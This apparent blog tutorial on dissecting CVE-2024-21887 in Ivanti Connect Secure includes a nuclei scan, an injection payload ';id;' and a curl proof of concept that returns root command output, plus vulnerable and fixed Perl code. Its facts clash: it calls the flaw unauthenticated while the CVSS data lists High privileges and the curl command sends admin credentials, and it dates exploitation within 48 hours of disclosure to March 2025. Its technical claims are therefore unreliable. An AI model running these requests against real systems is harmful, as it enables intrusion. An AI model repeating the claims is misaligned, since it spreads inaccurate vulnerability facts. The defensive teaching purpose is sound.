CVE Analysis: Breaking Down Critical Vulns Step by Step

In March 2025, attackers exploited CVE-2024-21887 — a command injection flaw in Ivanti Connect Secure — within 48 hours of public disclosure. Security teams that had already pulled the CVE apart understood exactly where to look and what to patch. Teams that hadn’t were scrambling. Knowing how to break down a CVE before someone weaponizes it is the difference between proactive defense and emergency response.

Step 1 — Read the CVE Like an Attacker

Start with the NVD entry, but don’t stop there. The CVSS vector string tells you the attack surface, privilege requirements, and impact at a glance. Pull it up with the command-line tool cvemap — a fast CVE enumeration utility from ProjectDiscovery.

$ cvemap -id CVE-2024-21887 -json
{
  "cve_id": "CVE-2024-21887",
  "cvss_score": 9.1,
  "cvss_metrics": {
    "attack_vector": "Network",
    "privileges_required": "High",
    "user_interaction": "None",
    "confidentiality": "High",
    "integrity": "High",
    "availability": "High"
  },
  "cpe": "cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*",
  "epss_score": 0.97,
  "is_exploited": true,
  "references": [
    "https://www.ivanti.com/blog/security-advisory",
    "https://github.com/projectdiscovery/nuclei-templates"
  ]
}

Two numbers matter immediately: the CVSS score of 9.1 and the EPSS score of 0.97. EPSS (Exploit Prediction Scoring System) estimates the probability of exploitation in the wild within 30 days — 0.97 means 97%. That combination tells you this isn’t theoretical. Privileges required are listed as High, which sounds limiting, but paired with is_exploited: true, it means attackers already have a chaining strategy.

Your next move as a defender: pivot to your asset inventory. Which hosts in your environment match that CPE string? That question leads directly to Step 2.

Step 2 — Map Vulnerable Hosts in Your Environment

Once you know what software is affected, scan your network before anyone else does. Use nuclei — a fast, template-based vulnerability scanner — with the relevant community template. Here’s what a targeted scan against a test segment looks like.

$ nuclei -t cves/2024/CVE-2024-21887.yaml -u https://vpn.corp-internal.example \
  -H "X-Forwarded-For: 192.0.2.45" -o results.txt -silent

[CVE-2024-21887] [http] [critical] https://vpn.corp-internal.example/api/v1/totp/user-backup-code/../../execute
Matched: command injection via endpoint /api/v1/totp/user-backup-code/
Payload: ;id;
Response snippet: uid=0(root) gid=0(root) groups=0(root)

That response snippet is the gut-punch. uid=0(root) confirms unauthenticated remote code execution as root on the host vpn.corp-internal.example. The template hit the traversal path ../../execute, injected the payload ;id;, and got back OS-level command output. An attacker at this point drops a reverse shell or deploys a webshell. A defender seeing this output immediately knows: isolate that host, revoke active sessions, and pull logs for the last 72 hours minimum.

Check your nuclei output for false positives by manually curling the endpoint:

$ curl -sk "https://vpn.corp-internal.example/api/v1/totp/user-backup-code/../../execute" \
  -d 'command=id' -u admin:P@ssw0rd123

uid=0(root) gid=0(root) groups=0(root)

Confirmed. Manual validation removes doubt. Now you have a reproducible proof-of-concept, a confirmed affected host, and a documented test case you can hand to your incident response team.

Step 3 — Trace the Root Cause in the Source

Tool output tells you what is vulnerable. Reading the diff or advisory tells you why. For CVE-2024-21887, the flaw was unsanitized input passed directly to a system call in a Perl CGI handler. Look for the pattern in your own code reviews:

# VULNERABLE — user input piped directly into shell
my $user_input = $cgi->param('command');
system("echo $user_input | /usr/bin/process_cmd");

# FIXED — input validated and passed as argument list
my $user_input = $cgi->param('command');
if ($user_input =~ /^[a-zA-Z0-9_\-]+$/) {
    system('/usr/bin/process_cmd', $user_input);
}

The vulnerable version concatenates user input into a shell string. One semicolon breaks out of the intended command. The fixed version uses a regex allowlist and passes arguments as a list — no shell interpolation, no injection. When you’re reviewing vendor patches, this is the structural change you’re looking for. It also tells you what to grep for in your own codebase: system("...$user_input...") in any language is a red flag.

What To Do Now

Pick one CVE published in the last 30 days with an EPSS score above 0.70 — use FIRST’s EPSS API or cvemap to filter. Pull the NVD entry, find the affected CPE, and run a nuclei scan against your staging environment or a known vulnerable VM in your lab. Write down what the output means and what you’d do in the first 15 minutes if you saw it in production. That single exercise builds the muscle memory that turns a CVE advisory into an actionable response — every time.